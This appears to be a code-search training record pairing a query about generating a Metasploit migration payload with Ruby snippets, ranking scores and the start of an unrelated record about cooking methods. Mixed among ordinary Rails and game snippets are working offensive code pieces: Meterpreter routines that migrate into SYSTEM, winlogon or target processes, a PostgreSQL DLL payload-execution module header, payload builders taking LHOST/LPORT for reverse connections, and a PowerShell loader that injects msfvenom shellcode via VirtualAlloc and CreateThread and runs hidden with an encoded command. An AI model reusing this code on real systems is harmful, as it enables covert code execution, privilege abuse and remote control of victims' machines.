"def add_wf_port(workflow_file, processor_name, processor_port, port_name=\"\",\n port_description=\"\", port_example=\"\", port_type=2, depth=0,granular=0)\n # parse workflow file as an XML document\n document = get_xml_document(workflow_file)\n root = document.root\n if port_type == 1\n add_wf_input(document, processor_name, processor_port, port_name,\n port_description, port_example,depth,granular)\n else\n add_wf_output(document, processor_name, processor_port, port_name,\n port_description, port_example,depth,granular)\n end\n # - how to calculate depth and granular depth if required\n # - UI should validate input of names \"FOR ALL WF ELEMENTS\"\n document.root.attributes[\"producedBy\"] = TLVersion\n\n # save workflow in the host app passing the file\n File.open(workflow_file, \"w:UTF-8\") do |f|\n document.write f\n end\n # pending:\n # - add annotations (description and example)\n save_wf_port_annotations(workflow_file, port_name, port_name,\n port_description, port_example,2)\n end",
"def create_ingestion_workflow_payload(params={})\n params[:uuid] ||= Config::Constants::ASSET_UUID\n params[:path] ||= Config::Constants::ASSET_PATH\n params[:title] ||= Config::Constants::ASSET_TITLE\n params[:url] ||= Config::Constants::ASSET_URL + params[:uuid] + '/'\n\n\n {\n 'definitionId': Config::Constants::INGESTION_WORKFLOW_METADATA_ID,\n 'stringVariables': {\n 'assetMetadata': '{ \"clip-type\":\"http://api.ft.com/things/a0e8ca2e-03b4-4321-9b50-4a85b38298cd\",'\\\n'\"clip-description\": \"10 Seconds\", \"location\":\"http://sws.geonames.org/6619890/\",'\\\n'\"interviewee\": \"Jem Rayfield\",\"office\": \"http://api.ft.com/things/a29a5f4f-b4ff-46f7-b597-a30437783e1e\",'\\\n'\"producer\": \"http://api.ft.com/things/a4fda01e-dd90-490b-a7be-7c74eafd3884\",\"freelance-producer\": \"James Condron\",'\\\n'\"reporter-1\": \"Darren Bown\", \"reporter-2\":\"Dario Villanueva\",\"reporter-3\":\"Jon Best\", \"restrictions\": '\\\n'\"true\", \"restriction-description\":\"Sensitive Video....classified top secret\"}',\n 'project-thing-url': params[:url],\n 'projectUUID': params[:uuid],\n 'assetS3Path': params[:path],\n 'assetTitle': params[:title]\n }\n }\n end",
"def create_item_receipt_window\n @item_receipt_window = Window_ItemReceipt.new\n end",
"def initialize(info = {})\n super(update_info(info,\n 'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',\n 'Description' => %q{\n On default Microsoft Windows installations of PostgreSQL the postgres\n service account may write to the current directory (which is usually\n \"C:\\Program Files\\PostgreSQL\\<version>\\data\" where <version> is the\n major.minor version of PostgreSQL). UDF DLL's may be sourced from\n there as well.\n\n This module uploads a Windows DLL file via the pg_largeobject method\n of binary injection and creates a UDF (user defined function) from\n that DLL. Because the payload is run from DllMain, it does not need to\n conform to specific Postgres API versions.\n },\n 'Author' =>\n [\n 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries\n 'todb' # this Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL\n ],\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'Windows x86', { 'Arch' => ARCH_X86 } ],\n [ 'Windows x64', { 'Arch' => ARCH_X64 } ],\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2009-04-10' # Date of Bernardo's BH Europe paper.\n ))\n\n deregister_options('SQL', 'RETURN_ROWSET')\n end",
"def move_to_sys\n # Make sure you got the correct SYSTEM Account Name no matter the OS Language\n local_sys = resolve_sid('S-1-5-18')\n system_account_name = \"#{local_sys[:domain]}\\\\#{local_sys[:name]}\"\n\n # Processes that can Blue Screen a host if migrated in to\n dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']\n\n print_status('Migrating to process owned by SYSTEM')\n session.sys.process.processes.each do |p|\n # Check we are not migrating to a process that can BSOD the host\n next if dangerous_processes.include?(p['name'])\n\n next if p['pid'] == session.sys.process.getpid\n\n next unless p['user'] == system_account_name\n\n print_status(\"Migrating to #{p['name']}\")\n session.core.migrate(p['pid'])\n print_good(\"Successfully migrated to #{p['name']}\")\n return\n end\n end",
"def migrate(dst)\n self.stop\n new_instance = self.class.new(@box, @options)\n new_instance.start\n return new_instance\n end",
"def migrate(session)\n\ttarget = 'cmd.exe'\n\tnewProcPid = launchProc(session,target)\n\toldProc = migrateToProc(session,newProcPid)\n\t#killApp(oldProc)\n \t#Dangerous depending on the service exploited\nend",
"def create_ingestion_workflow(params={})\n payload=create_ingestion_workflow_payload(params)\n create_workflow(payload)\n end",
"def send_create_pg2(msg_detail)\n info = YAML.dump(msg_detail)\n cmd_to_send = build_cmd(:pg_create2, info)\n send_data_to_server(cmd_to_send)\n end",
"def fillWindow(dest_ip, seqNum, data, wSize)\n\twindow = Array.new\n\n\tfor i in 0..wSize-1\n\t\tpacket = Packet.new\n\n\t\tpacket.dest_ip = dest_ip\n\t\tpacket.src_ip = $local_ip\n\t\tpacket.type = 1\n\t\tpacket.seqNum = seqNum + i\n\t\tpacket.ackNum = seqNum + i + 1\n\t\tpacket.data = data[seqNum + i]\n\n\t\twindow.push(packet)\n\tend\n\n\treturn window\nend",
"def explrmigrate(session,captype,lock)\n\t#begin\n\t\tif captype.to_i == 0\n\t\t\tprocess2mig = \"explorer.exe\"\n\t\telsif captype.to_i == 1\n\t\t\tif is_uac_enabled?\n\t\t\t\tprint_error(\"UAC is enabled on this host! Winlogon migration will be blocked.\")\n\t\t\t\traise Rex::Script::Completed\n\t\t\tend\n\t\t\tprocess2mig = \"winlogon.exe\"\n\t\t\tif lock\n\t\t\t\tlock_screen\n\t\t\tend\n\t\telse\n\t\t\tprocess2mig = \"explorer.exe\"\n\t\tend\n\t\t# Actual migration\n\t\tmypid = session.sys.process.getpid\n\t\tsession.sys.process.get_processes().each do |x|\n\t\t\tif (process2mig.index(x['name'].downcase) and x['pid'] != mypid)\n\t\t\t\tprint_status(\"\\t#{process2mig} Process found, migrating into #{x['pid']}\")\n\t\t\t\tsession.core.migrate(x['pid'].to_i)\n\t\t\t\tprint_status(\"Migration Successful!!\")\n\t\t\tend\n\t\tend\n\t\treturn true\n#\trescue\n#\t\tprint_status(\"Failed to migrate process!\")\n#\t\treturn false\n#\tend\nend",
"def create\n @window = Window.new(params[:window])\n\n respond_to do |format|\n if @window.save\n format.html { redirect_to(@window, :notice => 'Window was successfully created.') }\n format.xml { render :xml => @window, :status => :created, :location => @window }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @window.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def generate\n generate_manifest\n fix_windows_manifest\n end",
"def powershell_builder(venomstring)\n\t# venomstring should be the arguments needed for msfvenom to build the base payload/shellcode ('-p <payload> LHOST=<ip> LPORT=<port>'\n\tshellcode=\"#{`#{MSFPATH}/msfvenom #{venomstring} -b \\\\x00`}\".gsub(\";\", \"\").gsub(\" \", \"\").gsub(\"+\", \"\").gsub('\"', \"\").gsub(\"\\n\", \"\").gsub('buf=','').strip.gsub('\\\\',',0').sub(',', '')\n\t#\t=> yields a variable holding our escapped shellcode with ',' between each char.....\n\n\tprint_status(\"Converting Base ShellCode to PowerShell friendly format.....\")\n\t# Borrowed from one of several appearances across the many Python written scripts :p\n\tps_base = \"$code = '[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\\\"msvcrt.dll\\\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name \\\"Win32\\\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };\"\n\t\t# => Our base PowerShell wrapper to get the job done now in var\n\n\tps_base_cmd = ps_base.sub('%s', shellcode) \n\t\t# => place our shellcode in the Python placeholder :p\n\n\t#Prep it for final stages and put in funky ps format....\n\tps_cmd_prepped=String.new\n\tps_base_cmd.scan(/./) {|char| ps_cmd_prepped += char + \"\\x00\" }\n\n\t# Base64 Encode our Payload so it is primed & ready for PowerShell usage\n\tstager = Base64.encode64(\"#{ps_cmd_prepped}\")\n\n\t#The magic is now ready!\n\tps_cmd = 'powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand ' + stager.gsub(\"\\n\", '')\n\treturn ps_cmd\nend",
"def copy_migration\n migration_template './install_template.rb.erb', 'db/migrate/create_recognisable_sessions.rb'\n end",
"def createWindow\r\n \r\n end",
"def create_payload(name, lhost, lport, opts = \"\")\n\n pay = client.framework.payloads.create(name)\n pay.datastore['LHOST'] = lhost\n pay.datastore['LPORT'] = lport\n pay.datastore['EXITFUNC'] = 'thread'\n pay.available_space = 1.gigabyte # this is to generate a proper uuid and make the payload to work with the universal handler\n\n\n if not opts.blank?\n opts.split(\",\").each do |o|\n opt,val = o.split(\"=\",2)\n pay.datastore[opt] = val\n end\n end\n # Validate the options for the module\n pay.options.validate(pay.datastore)\n return pay\n end",
"def create\n @window = Window.new(window_params)\n\n respond_to do |format|\n if @window.save\n format.html { redirect_to @window, notice: 'Window was successfully created.' }\n format.json { render action: 'show', status: :created, location: @window }\n else\n format.html { render action: 'new' }\n format.json { render json: @window.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process_postgres(target)\n {\n :schema => 'iglu:com.snowplowanalytics.snowplow.storage/postgresql_config/jsonschema/1-0-0',\n :data => {\n :name => target['name'],\n :host => target['host'],\n :database => target['database'],\n :port => target['port'],\n :sslMode => target['ssl_mode'].upcase,\n :schema => target['table'].split('.')[0],\n :username => target['username'],\n :password => target['password'],\n :purpose => 'ENRICHED_EVENTS'\n }\n }\nend",
"def move_first_window_or_create_new(window)\n if window == windows.first\n move_window(window.index)\n else\n new_window(window)\n end\n end"
] | [
"0.6941142",
"0.5674712",
"0.56452084",
"0.54734516",
"0.5110263",
"0.5092422",
"0.50875616",
"0.4919041",
"0.49114454",
"0.48786268",
"0.4847124",
"0.48226452",
"0.4821488",
"0.4809202",
"0.47695208",
"0.47383603",
"0.47161415",
"0.47010955",
"0.4669676",
"0.4655507",
"0.46450898",
"0.4636467",
"0.46334928",
"0.46329996",
"0.4625273",
"0.4616572",
"0.45700198",
"0.4564223",
"0.4557082",
"0.454395"
] | 0.6982177 | 0 |
Create a full migration payload specific to the target process. | def generate_migrate_payload(target_process)
case client.platform
when 'windows'
blob = generate_migrate_windows_payload(target_process)
else
raise RuntimeError, "Unsupported platform '#{client.platform}'"
end
blob
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_migrate_windows_payload(target_process)\n c = Class.new( ::Msf::Payload )\n c.include( ::Msf::Payload::Stager )\n\n # Include the appropriate reflective dll injection module for the target process architecture...\n if target_process['arch'] == ARCH_X86\n c.include( ::Msf::Payload::Windows::MeterpreterLoader )\n elsif target_process['arch'] == ARCH_X64\n c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )\n else\n raise RuntimeError, \"Unsupported target architecture '#{target_process['arch']}' for process '#{target_process['name']}'.\", caller\n end\n\n # Create the migrate stager\n migrate_stager = c.new()\n\n migrate_stager.stage_meterpreter\n end",
"def migrate(target_pid, writable_dir = nil, opts = {})\n keepalive = client.send_keepalives\n client.send_keepalives = false\n target_process = nil\n current_process = nil\n\n # Load in the stdapi extension if not allready present so we can determine the target pid architecture...\n client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')\n\n current_pid = client.sys.process.getpid\n\n # Find the current and target process instances\n client.sys.process.processes.each { | p |\n if p['pid'] == target_pid\n target_process = p\n elsif p['pid'] == current_pid\n current_process = p\n end\n }\n\n # We cant migrate into a process that does not exist.\n unless target_process\n raise RuntimeError, 'Cannot migrate into non existent process', caller\n end\n\n # We cannot migrate into a process that we are unable to open\n # On linux, arch is empty even if we can access the process\n if client.platform == 'windows'\n\n if target_process['arch'] == nil || target_process['arch'].empty?\n raise RuntimeError, \"Cannot migrate into this process (insufficient privileges)\", caller\n end\n end\n\n # And we also cannot migrate into our own current process...\n if current_process['pid'] == target_process['pid']\n raise RuntimeError, 'Cannot migrate into current process', caller\n end\n\n migrate_stub = generate_migrate_stub(target_process)\n migrate_payload = generate_migrate_payload(target_process)\n\n # Build the migration request\n request = Packet.create_request(COMMAND_ID_CORE_MIGRATE)\n\n request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)\n request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])\n request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])\n\n if target_process['arch'] == ARCH_X64\n request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64\n\n else\n request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86\n end\n\n # if we change architecture, we need to change UUID as well\n if current_process['arch'] != target_process['arch']\n client.payload_uuid.arch = target_process['arch']\n request.add_tlv( TLV_TYPE_UUID, client.payload_uuid.to_raw )\n end\n\n # Send the migration request. Timeout can be specified by the caller, or set to a min\n # of 60 seconds.\n timeout = [(opts[:timeout] || 0), 60].max\n client.send_request(request, timeout)\n\n # Post-migration the session doesn't have encryption any more.\n # Set the TLV key to nil to make sure that the old key isn't used\n # at all.\n client.tlv_enc_key = nil\n\n if client.passive_service\n # Sleep for 5 seconds to allow the full handoff, this prevents\n # the original process from stealing our loadlib requests\n ::IO.select(nil, nil, nil, 5.0)\n elsif client.pivot_session.nil?\n # Prevent new commands from being sent while we finish migrating\n client.comm_mutex.synchronize do\n # Disable the socket request monitor\n client.monitor_stop\n\n ###\n # Now communicating with the new process\n ###\n\n # only renegotiate SSL if the session had support for it in the\n # first place!\n if client.supports_ssl?\n # If renegotiation takes longer than a minute, it's a pretty\n # good bet that migration failed and the remote side is hung.\n # Since we have the comm_mutex here, we *must* release it to\n # keep from hanging the packet dispatcher thread, which results\n # in blocking the entire process.\n begin\n Timeout.timeout(timeout) do\n # Renegotiate SSL over this socket\n client.swap_sock_ssl_to_plain()\n client.swap_sock_plain_to_ssl()\n end\n rescue TimeoutError\n client.alive = false\n return false\n end\n end\n\n # Restart the socket monitor\n client.monitor_socket\n end\n end\n\n # Renegotiate TLV encryption on the migrated session\n secure\n\n # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)\n client.ext.aliases.keys.each { |e|\n client.core.use(e)\n }\n\n # Restore session keep-alives\n client.send_keepalives = keepalive\n\n return true\n end",
"def generate_migrate_stub(target_process)\n stub = nil\n\n\n if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)\n t = get_current_transport\n\n c = Class.new(::Msf::Payload)\n\n if target_process['arch'] == ARCH_X86\n c.include(::Msf::Payload::Windows::BlockApi)\n case t[:url]\n when /^tcp/i\n c.include(::Msf::Payload::Windows::MigrateTcp)\n when /^pipe/i\n c.include(::Msf::Payload::Windows::MigrateNamedPipe)\n when /^http/i\n # Covers HTTP and HTTPS\n c.include(::Msf::Payload::Windows::MigrateHttp)\n end\n else\n c.include(::Msf::Payload::Windows::BlockApi_x64)\n case t[:url]\n when /^tcp/i\n c.include(::Msf::Payload::Windows::MigrateTcp_x64)\n when /^pipe/i\n c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)\n when /^http/i\n # Covers HTTP and HTTPS\n c.include(::Msf::Payload::Windows::MigrateHttp_x64)\n end\n end\n\n stub = c.new().generate\n else\n raise RuntimeError, \"Unsupported session #{client.session_type}\"\n end\n\n stub\n end",
"def build\n raise FedoraMigrate::Errors::MigrationError, \"No qualified targets found in #{source.pid}\" if target.nil?\n\n # create target, and apply depositor metadata\n obj = target.new\n\n obj.apply_depositor_metadata @depositor_utln\n obj.visibility = Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC\n\n user = User.find_by_user_key(@depositor_utln)\n# CurationConcerns::Workflow::ActivateObject.call(target: obj, comment: 'activate object', user: user)\n\n create_and_add_payload(obj, @payload_primary, @depositor_utln)\n\n #deal with 2 primary datastream objects, storing second object in a new file set\n create_and_add_payload(obj, @payload_secondary, @depositor_utln) unless @payload_secondary.nil?\n\n #handle a case of bad hand created data on old records\n create_and_add_payload(obj, \"ARCHIVAL_SOUND\", @depositor_utln) if @payload_primary == \"ARCHIVAL_WAV\"\n\n # back up old data\n #create_and_add_fcrepo3_set obj\n\n process_desc_metadata obj\n process_admin_metadata obj\n process_technical_metadata obj\n process_relsext_metadata obj\n\n# obj.save\n\n process_collection_metadata obj\n\n active_workflow = Sipity::Workflow.find(2)\n Sipity::Entity.create!(proxy_for_global_id: obj.to_global_id.to_s,\n workflow: active_workflow,\n workflow_state: nil)\n\n obj\n end",
"def create_migration\n if invoked_attributes.present?\n args = [\"create_#{plural_name}\"] + (invokable(invoked_attributes) | timestamps)\n args += [\"--database\", options['database']] if options['database']\n Rails::Generators.invoke('migration', args)\n return\n end\n\n return if with_resource_tenant do\n table_name = resource.klass.table_name\n\n if ActiveRecord::Base.connection.table_exists?(table_name)\n say_status(:error, \"#{table_name} table already exist. We can't migrate (yet). Exiting.\", :red)\n true\n end\n end\n\n if resource.model_attributes.blank?\n say_status(:error, \"No model attributes present. Please add the effective_resource do ... end block and try again\", :red)\n return\n end\n\n args = [\"create_#{plural_name}\"] + invokable(resource.model_attributes) - timestamps\n args += [\"--database\", options['database']] if options['database']\n\n if options['database'].blank? && defined?(Tenant)\n args += [\"--database\", resource.klass.name.split('::').first.downcase]\n end\n\n Rails::Generators.invoke('migration', args)\n end",
"def migrate\n maintenance = Heroku::PgMigrate::Maintenance.new(api, app)\n scale_zero = Heroku::PgMigrate::ScaleZero.new(api, app)\n rebind = Heroku::PgMigrate::RebindConfig.new(api, app)\n provision = Heroku::PgMigrate::Provision.new(api, app)\n foi_pgbackups = Heroku::PgMigrate::FindOrInstallPgBackups.new(api, app)\n transfer = Heroku::PgMigrate::Transfer.new(api, app)\n check_shared = Heroku::PgMigrate::CheckShared.new(api, app)\n release_num = Heroku::PgMigrate::ReleaseNumber.new(api, app)\n\n mp = Heroku::PgMigrate::MultiPhase.new()\n mp.enqueue(check_shared)\n mp.enqueue(foi_pgbackups)\n mp.enqueue(provision)\n mp.enqueue(release_num)\n mp.enqueue(maintenance)\n mp.enqueue(scale_zero)\n mp.enqueue(transfer)\n mp.enqueue(rebind)\n\n mp.engage()\n end",
"def create_migration_file\r\n migration_template 'migration.rb', 'db/migrate/create_baby_dove_model_data.rb'\r\n end",
"def copy_bucket_maker_migration\n if behavior == :invoke && store_in == 'active_record' && active_recordable_exists?\n migration_template \"active_recordable_migration.rb\", \"db/migrate/create_#{ACTIVE_RECORDABLE.pluralize}\"\n end\n end",
"def recreate\n self.class.create(queue, payload_class, *args)\n end",
"def payload\n {\n command_name: 'insert',\n database_name: @database,\n command: upconverter.command,\n request_id: request_id\n }\n end",
"def migration(options={})\n get_location\n # TODO: validate options\n @params[:migration] = FEATURE_DEFAULTS[:migration].merge(options)\n @params[:migration][:generate] = true\n end",
"def copy_migrations\n [\n 'change_audit_log_pid_to_generic_file_id.rb',\n 'change_proxy_deposit_request_pid_to_generic_file_id.rb'\n ].each do |file|\n better_migration_template file\n end\n end",
"def create_ingestion_workflow_payload(params={})\n params[:uuid] ||= Config::Constants::ASSET_UUID\n params[:path] ||= Config::Constants::ASSET_PATH\n params[:title] ||= Config::Constants::ASSET_TITLE\n params[:url] ||= Config::Constants::ASSET_URL + params[:uuid] + '/'\n\n\n {\n 'definitionId': Config::Constants::INGESTION_WORKFLOW_METADATA_ID,\n 'stringVariables': {\n 'assetMetadata': '{ \"clip-type\":\"http://api.ft.com/things/a0e8ca2e-03b4-4321-9b50-4a85b38298cd\",'\\\n'\"clip-description\": \"10 Seconds\", \"location\":\"http://sws.geonames.org/6619890/\",'\\\n'\"interviewee\": \"Jem Rayfield\",\"office\": \"http://api.ft.com/things/a29a5f4f-b4ff-46f7-b597-a30437783e1e\",'\\\n'\"producer\": \"http://api.ft.com/things/a4fda01e-dd90-490b-a7be-7c74eafd3884\",\"freelance-producer\": \"James Condron\",'\\\n'\"reporter-1\": \"Darren Bown\", \"reporter-2\":\"Dario Villanueva\",\"reporter-3\":\"Jon Best\", \"restrictions\": '\\\n'\"true\", \"restriction-description\":\"Sensitive Video....classified top secret\"}',\n 'project-thing-url': params[:url],\n 'projectUUID': params[:uuid],\n 'assetS3Path': params[:path],\n 'assetTitle': params[:title]\n }\n }\n end",
"def migrate\n raise NotImplementedError\n end",
"def migrated_up(migration)\n column_family.insert({\n data: {\n version: migration.version.to_s,\n name: migration.name,\n migrated_at: Time.now.utc,\n },\n })\n end",
"def generate_migrate(opts={})\n %Q^\n load_ws2_32:\n mov r14, 'ws2_32'\n push r14\n mov rcx, rsp ; pointer to 'ws2_32'\n sub rsp, #{WSA_SIZE} ; alloc size, plus alignment (used later)\n mov r13, rsp ; save pointer to this struct\n sub rsp, 0x28 ; space for api function calls (really?)\n mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call rbp ; LoadLibraryA('ws2_32')\n init_networking:\n mov rdx, r13 ; pointer to the wsadata struct\n push 2\n pop rcx ; Version = 2\n mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n call rbp ; WSAStartup(Version, &WSAData)\n create_socket:\n xor r8, r8 ; protocol not specified\n push r8 ; flags == 0\n push r8 ; reserved == NULL\n lea r9, [rsi+0x10] ; Pointer to the info in the migration context\n push 1\n pop rdx ; SOCK_STREAM\n push 2\n pop rcx ; AF_INET\n mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n call rbp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\n xchg rdi, rax\n ^\n end",
"def create_migration_file\n return unless options[:migration] && options[:parent].nil?\n attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false\n migration_template \"../../migration/templates/create_table_migration.rb\", File.join(db_migrate_path, \"create_#{table_name}.rb\")\n end",
"def create_migration\n migration_version = Time.now.to_i\n dir = \"/db/migrate/#{migration_version}_create_#{@scaffold_name}s.rb\"\n unless File.exists?(File.join(Dir.pwd,dir))\n source = \"#{@gem_path}/lib/modules/scaffold/migration.rb\"\n FileUtils.cp(source,File.join(Dir.pwd,dir))\n config_migration(migration_version)\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{dir}\"\n end\n end",
"def payload\n {\n command_name: upconverter.command_name,\n database_name: @database,\n command: upconverter.command,\n request_id: request_id\n }\n end",
"def regenerate_payload(cli, arch = nil, platform = nil, target = nil)\n\n ohost = datastore['RHOST']\n oport = datastore['RPORT']\n p = nil\n\n begin\n # Update the datastore with the supplied client peerhost/peerport\n datastore['RHOST'] = cli.peerhost\n datastore['RPORT'] = cli.peerport\n\n if ((p = super(arch, platform, target)) == nil)\n print_error(\"Failed to generate payload\")\n return nil\n end\n\n # Allow the payload to start a new handler\n add_handler({\n 'RHOST' => datastore['RHOST'],\n 'RPORT' => datastore['RPORT']\n })\n\n ensure\n datastore['RHOST'] = ohost\n datastore['RPORT'] = oport\n end\n\n p\n end",
"def create_migration_file\n migration_file = File.join(File.dirname(__FILE__), 'templates', 'migration.rb')\n migration_template migration_file, 'db/migrate/create_webhooks_table.rb'\n end",
"def migration\n end",
"def copy_migration\n migration_template './install_template.rb.erb', 'db/migrate/create_recognisable_sessions.rb'\n end",
"def create_migration_file\n return unless options[:migration] && options[:parent].nil?\n attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false\n migration_template \"create_table_migration.rb\", \"db/migrate/create_#{table_name}.rb\"\n end",
"def migrate\n db.create_table? table_name do\n primary_key :id\n String :ptype\n String :v0\n String :v1\n String :v2\n String :v3\n String :v4\n String :v5\n end\n end",
"def set_payload\n self.payload = self.create_payload\n end",
"def migrate(_key, _options); end",
"def create_migration_file\n migration_template 'migrations/create_good_jobs.rb.erb', File.join(db_migrate_path, \"create_good_jobs.rb\")\n end",
"def config_migration(migration_version)\n source = \"#{Dir.pwd}/db/migrate/#{migration_version}_create_#{@scaffold_name}s.rb\"\n modify_content(source, 'CreateMigration', \"Create#{@model_class}s\") \n modify_content(source, 'migration', \"#{@scaffold_name}s\") \n\n @arguments.each do |value| \n @attributes << value.split(':').first \n @data_types << value.split(':').last \n end\n\n attribute_data_types = @data_types.reverse\n @attributes.reverse.each_with_index do |value,index|\n add_attributes(source, value, attribute_data_types[index]) \n end\n end",
"def migrate(target_pid, proc_name, current_pid)\n if !target_pid\n print_error(\"Could not migrate to #{proc_name}. Exiting...\")\n return false\n end\n\n print_status(\"Trying #{proc_name} (#{target_pid})\")\n\n if target_pid == current_pid\n print_good(\"Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n return true\n end\n\n begin\n client.core.migrate(target_pid)\n print_good(\"Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n return true\n rescue Rex::Post::Meterpreter::RequestError => error\n print_error(\"Could not migrate to #{proc_name}. Exiting...\")\n print_error(error.to_s)\n return false\n end\n end"
] | [
"0.6817791",
"0.6476428",
"0.5920113",
"0.59197146",
"0.5449127",
"0.539093",
"0.53166944",
"0.52585816",
"0.52561843",
"0.52527153",
"0.52227163",
"0.52164346",
"0.5207744",
"0.51957464",
"0.5186737",
"0.51828617",
"0.51788473",
"0.5158144",
"0.51459026",
"0.5143998",
"0.5143211",
"0.5127499",
"0.5079709",
"0.50786245",
"0.50642955",
"0.5030576",
"0.5020993",
"0.50024176",
"0.49877632",
"0.4983111"
] | 0.75957185 | 0 |
make a method called make_juice that accepts a parameter (orange, apple, cranberry) | def make_juice(juice)
if @hired == true
puts "you are serving #{juice} juice."
else
puts "you are fired, and you can't serve."
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_juice(juice)\n puts \"You want #{juice} juice.\"\n end",
"def meal_choice(arg1 = \"meat\")\n \"#{arg1}\"\nend",
"def meal_choice(meal=\"meat\") #meal is argument, default argument is \"meat\"\n \"#{meal}\" #method returns #{meal}\nend",
"def make_coffee(beans, water, electricity, milk)\n #do somehting with the ingredients\n #return finished product\nend",
"def meal_choice( food = \"meat\") \n return food\nend",
"def do_something(name, color, animal)\n\nend",
"def lunch(value=\"cheese\")\n value\nend",
"def meal_choice(meal = \"meat\") #assigning a default value\n return \"#{meal}\" #returns the argument\nend",
"def meal_choice(var=\"meat\")\n var\nend",
"def meal_choice(name =\"meat\")\n puts \"The meal choice is #{name}!\"\nend",
"def meal_choice(arg1 = \"meat\")\n return arg1\nend",
"def meal_choice(vegan = \"meat\")\n vegan\nend",
"def rps_justice(p1_weapon, p2_weapon)\n # Your code goes here!\nend",
"def greeting(name:, salutation: 'Hi', volume: :low)\n greeting = \"#{salutation} there, #{name}\"\n volume == :high ? greeting.upcase : greeting\nend",
"def food(food)\n case food\n when \"burger\"\n \"bad food\"\n when \"apple\"\n \"good\"\n else\n \"nice\"\n end\nend",
"def thing(fave_one, fave_two, fave_three)\n \"I love that #{fave_two} too!\"\nend",
"def breakfast(food=\"oatmeal\")\n \"The most important meal of the day could always be #{food}!\"\nend",
"def favorites_parrot(thing1, thing2, thing3)\n \"I love #{thing1} too! I love #{thing2} too! I love #{thing3} too!\"\nend",
"def meal_choice(op1, op2, op3 = \"tofu\")\n puts\"What a nutritious meal!\"\n meal = \"A plate of #{op3} with #{op1} and #{op2}.\"\n puts meal\n meal\nend",
"def badge_maker( name )\n return \"Hello, my name is #{name}.\"\nend",
"def greeting(name=\"rubyist\")\n \"Welcome, #{name}! Ready to code?\"\nend",
"def badge_maker( name )\n\"Hello, my name is #{name}.\"\nend",
"def car(make, model)\n \"#{make} #{model}\"\nend",
"def car(make, model)\n \"#{make} #{model}\"\nend",
"def car(make, model)\n \"#{make} #{model}\"\nend",
"def badge_maker(name)\n\t#\"Hello, my name is Arel.\"\n\t\"Hello, my name is #{name}.\"\nend",
"def say_hello name1=\"Oscar\", name2=\"Shane\"\n \"hello, #{name1} and #{name2}\"\nend",
"def badge_maker(name)\n \"Hello, my name is #{name}.\";\nend",
"def initialize(name: \"apple\", color: \"red\", ripe: true)\n @name = name \n self.color = color \n self.ripe = ripe \n end",
"def meal_choice(choice = \"meat\")\n return choice\nend"
] | [
"0.770687",
"0.6044922",
"0.5963802",
"0.59055734",
"0.5888976",
"0.5680308",
"0.56795436",
"0.5675683",
"0.5662363",
"0.5633928",
"0.56190336",
"0.5613153",
"0.556369",
"0.5559179",
"0.55513203",
"0.5537063",
"0.5506726",
"0.54970896",
"0.5486358",
"0.5473537",
"0.5472743",
"0.5460467",
"0.54536617",
"0.54536617",
"0.54536617",
"0.5451158",
"0.54461724",
"0.5442323",
"0.54341996",
"0.54250425"
] | 0.6512719 | 1 |
make a method called make_eggs that accepts two parameters; the quantity of eggs (1, 2, 3, etc) and the style (overeasy, scrambled, sunnyside up, etc..) | def make_eggs(quantity, style)
if @hired == true
puts "making #{quantity} eggs in #{style}."
else
